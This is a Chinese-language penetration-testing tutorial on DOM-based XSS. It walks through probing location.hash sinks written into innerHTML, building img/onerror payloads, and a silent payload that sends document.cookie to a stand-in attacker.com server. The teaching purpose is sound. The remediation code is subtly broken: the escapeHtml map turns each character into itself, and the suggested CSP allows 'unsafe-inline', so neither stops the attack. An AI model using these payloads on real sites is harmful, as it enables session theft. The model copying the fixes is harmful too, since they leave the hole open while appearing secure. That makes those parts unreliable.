【DOM 型 XSS举例】
DOM 型 XSS
- 1.举个例子
- 2.渗透测试步骤验证与详细逻辑
- 步骤 1:探测输入点
- 步骤 2:分析代码逻辑
- 步骤 3:构造 PoC
- 步骤 4:验证利用
- 3.步骤排查与修正
- 潜在遗漏点
- 4.防御措施与根本原因
- 漏洞根源
- 修复方案
- 5.总结
以下是针对 DOM 型 XSS 漏洞案例 的详细分析,包含步骤验证、逻辑原理与判断依据,确保流程严谨性:
1.举个例子
某网站存在以下代码:
// 从 URL 的 hash 片段中提取内容并直接渲染到页面
const userInput = window.location.hash.substring(1); // 获取 # 后的内容
document.getElementById('content').innerHTML = userInput; // 直接插入 HTML
攻击者可通过构造恶意 URL(如 https://target.com/#<img src=x onerror=alert(1)>
)触发 XSS。
2.渗透测试步骤验证与详细逻辑
步骤 1:探测输入点
操作:
修改 URL 为 https://target.com/#<img src=x onerror=console.log(1)>
,观察浏览器控制台是否输出 1
。
原理与判断依据:
-
DOM 型 XSS 的触发条件:
- 漏洞源于客户端代码(如
innerHTML
)直接使用未经处理的用户输入(此处为location.hash
)。 location.hash
的值(即#
后的内容)由浏览器解析,不会发送到服务器,因此传统服务端过滤可能失效。
- 漏洞源于客户端代码(如
-
选择
<img>
标签测试的原因:<img>
的src
属性设置为无效值(x
),触发onerror
事件,执行 JS 代码。- 相较于
<script>
标签,<img>
更可能绕过简单的黑名单过滤(如过滤<script>
但允许<img>
)。
-
预期结果:
- 若控制台输出
1
,说明innerHTML
将onerror
代码解析为可执行脚本,漏洞存在。 - 关键验证点:确认漏洞触发位置在客户端,而非服务端返回的响应内容(区别于反射型/存储型 XSS)。
- 若控制台输出
步骤 2:分析代码逻辑
操作:
在开发者工具的 Sources
面板中搜索 innerHTML
,定位漏洞代码并设置断点跟踪 userInput
的赋值过程。
原理与判断依据:
-
搜索
innerHTML
的原因:innerHTML
是常见的 XSS 风险点,因其直接将字符串解析为 HTML,可能执行嵌入的脚本。- 安全替代方案:使用
textContent
或innerText
仅渲染纯文本。
-
断点调试的目的:
- 跟踪数据流:确认
userInput
是否完全由location.hash
控制,未经过滤或编码。 - 验证攻击链:
- 断点设置在
document.getElementById('content').innerHTML = userInput;
行。 - 当页面加载时,观察
userInput
的值是否为攻击者控制的字符串(如<img ...>
)。
- 断点设置在
- 跟踪数据流:确认
-
逻辑漏洞排查:
- 检查是否有客户端过滤函数(如
escapeHtml(userInput)
)被遗漏。 - 确认是否因异步加载(如 AJAX)导致输入未被捕获。
- 检查是否有客户端过滤函数(如
步骤 3:构造 PoC
操作:
通过控制台直接注入代码:
window.location.hash = '<script>alert(document.domain)</script>';
原理与判断依据:
-
为何修改
location.hash
:location.hash
的修改会更新 URL 但不会重载页面(除非代码主动监听hashchange
事件)。- 在此案例中,漏洞代码在页面初始化时执行,因此需刷新页面触发解析新 hash 值。
-
使用
<script>
标签的可行性:- 现代浏览器默认不会执行由
innerHTML
插入的<script>
标签(HTML5 规范限制),但其他标签(如<img>
、<svg>
)的事件处理器仍可触发。 - 绕过限制的替代方案:
window.location.hash = '<img src=x onerror=alert(document.domain)>';
- 现代浏览器默认不会执行由
-
控制台注入的意义:
- 开发者工具拥有当前页面的 JavaScript 执行权限,可直接操作 DOM 或修改变量,用于快速验证漏洞利用链。
步骤 4:验证利用
操作:
刷新页面,观察是否弹出包含当前域名的弹窗。
原理与判断依据:
-
弹窗内容
document.domain
的作用:- 确认脚本执行在目标域的安全上下文中(如
target.com
),可访问该域的 Cookie、LocalStorage 等敏感数据。 - 若弹窗显示
attacker.com
,则可能存在跨域问题或代码注入位置错误。
- 确认脚本执行在目标域的安全上下文中(如
-
实际攻击的隐蔽性优化:
- 生产环境中应避免弹窗,改为静默窃取数据:
// 将 Cookie 发送至攻击者服务器 window.location.hash = `<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">`;
- 生产环境中应避免弹窗,改为静默窃取数据:
3.步骤排查与修正
潜在遗漏点
-
未刷新页面:
- 修改
location.hash
后,若未刷新页面或重新触发漏洞代码执行,攻击载荷不会生效。 - 修正:确保刷新页面或确认代码在 hash 变化时自动执行(如监听
hashchange
事件)。
- 修改
-
依赖
<script>
标签:- 如前所述,
innerHTML
插入的<script>
不会执行,可能导致误判漏洞不存在。 - 修正:优先使用
<img>
、<svg>
等标签的事件处理器。
- 如前所述,
4.防御措施与根本原因
漏洞根源
- 直接原因:
innerHTML
未对用户输入(location.hash
)进行转义或过滤。 - 深层原因:开发者未遵循 “数据与代码分离” 原则,将用户输入视为代码执行。
修复方案
- 安全编码:使用
textContent
替代innerHTML
:document.getElementById('content').textContent = userInput;
- 输入过滤:对
userInput
进行 HTML 实体编码:function escapeHtml(unsafe) { return unsafe.replace(/[&<>"']/g, (c) => ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[c]); } document.getElementById('content').innerHTML = escapeHtml(userInput);
- 启用 CSP:通过 HTTP 头限制脚本执行来源:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
5.总结
通过本案例可清晰看到 DOM 型 XSS 的完整利用链:
- 输入点控制:
location.hash
用户可控 - 危险函数调用:
innerHTML
直接渲染 - 代码执行:浏览器解析恶意 HTML/JS。
渗透测试的核心在于 追踪用户输入流向 并验证其是否触发代码执行,而修复需从根本上避免将用户输入视为代码。